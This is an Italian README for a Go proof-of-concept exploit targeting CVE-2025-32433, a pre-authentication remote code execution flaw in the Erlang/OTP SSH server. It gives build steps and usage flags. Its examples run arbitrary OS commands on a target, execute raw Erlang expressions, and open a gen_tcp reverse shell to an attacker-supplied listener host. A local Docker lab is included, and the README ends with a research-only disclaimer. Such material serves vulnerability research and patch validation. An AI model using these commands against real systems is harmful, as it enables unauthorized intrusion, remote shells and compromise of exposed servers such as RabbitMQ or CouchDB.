
Go PoC per CVE-2025-32433 — RCE non autenticato in Erlang/OTP SSH.
CVE-2025-32433 è una vulnerabilità critica di esecuzione remota di codice non autenticata nel server SSH di Erlang/OTP. Prima delle versioni corrette, il demone SSH elabora erroneamente i messaggi del canale prima del completamento dell'autenticazione, consentendo a un attaccante di aprire un canale e inviare richieste exec senza mai fornire credenziali. Qualsiasi applicazione che incorpora il server SSH di Erlang/OTP (inclusi Elixir, RabbitMQ, CouchDB e altri) è vulnerabile quando la porta SSH è esposta.
Questo PoC in Go si connette a una porta SSH target, invia un SSH_MSG_CHANNEL_OPEN modificato seguito da un payload exec SSH_MSG_CHANNEL_REQUEST — interamente pre-autenticazione — causando l'esecuzione di comandi OS arbitrari sul nodo Erlang remoto. L'esecuzione è cieca: nessun output del comando viene restituito all'attaccante.
Versioni affette: Erlang/OTP < 27.3.3, < 26.2.5.11, < 25.3.2.20
bash -c, avvolto automaticamente in os:cmd di Erlanggen_tcp senza fare affidamento su bash o /dev/tcpBinari precompilati per macOS, Linux e Windows sono disponibili nella pagina Release. Scarica il binario per la tua piattaforma ed eseguilo direttamente — nessuna installazione di Go richiesta.
Oppure compila dal sorgente:
[!NOTE] Richiede Go 1.21+. Nessuna dipendenza esterna — utilizza solo la libreria standard di Go.
git clone https://github.com/joshuavanderpoll/CVE-2025-32433.git
cd CVE-2025-32433
go build -o cve-2025-32433 cve-2025-32433.go
git clone https://github.com/joshuavanderpoll/CVE-2025-32433.git
cd CVE-2025-32433
go build -o cve-2025-32433.exe cve-2025-32433.go
go install github.com/joshuavanderpoll/cve-2025-32433@latest
go run github.com/joshuavanderpoll/cve-2025-32433@latest -host 192.168.1.100 -port 22
Usage of ./cve-2025-32433:
-host string
Target IP or hostname
-port int
SSH port (default: 22) (default 22)
-timeout int
Connection timeout in seconds (default: 5) (default 5)
-command string
Shell command to run on the target (wrapped in os:cmd)
-code string
Raw Erlang expression to execute on the target
-shell
Send an Erlang-native gen_tcp reverse shell
-lhost string
Listener IP for reverse shell (required with -shell)
-lport int
Listener port for reverse shell (default: 4444)
./cve-2025-32433 -host 127.0.0.1 -port 2222

./cve-2025-32433 -host 127.0.0.1 -port 2222 -command 'whoami > /tmp/out2.txt'

Il flag -shell invia un payload di reverse shell nativa Erlang gen_tcp — nessun bisogno di bash o /dev/tcp. Avvia prima un listener, poi invia l'exploit.
./cve-2025-32433 -host 127.0.0.1 -port 2222 -shell -lhost host.docker.internal -lport 4444

Il flag -code invia direttamente un'espressione Erlang grezza — nessun wrapper bash -c. Utile per operazioni Erlang pure o quando bash non è disponibile sul target. Poiché l'esecuzione è cieca, scrivi l'output in un file e recuperalo separatamente.
./cve-2025-32433 -host 127.0.0.1 -port 2222 -code 'file:write_file("/tmp/out.txt", os:cmd("id")).'

Maggiori dettagli in docker/DOCKER.md
cd docker/
docker compose down
docker compose up -d
# You can test at -host 127.0.0.1 -port 2222
Questo strumento è fornito solo a scopo educativo e di ricerca. Il creatore non si assume alcuna responsabilità per qualsiasi uso improprio o danno causato dallo strumento.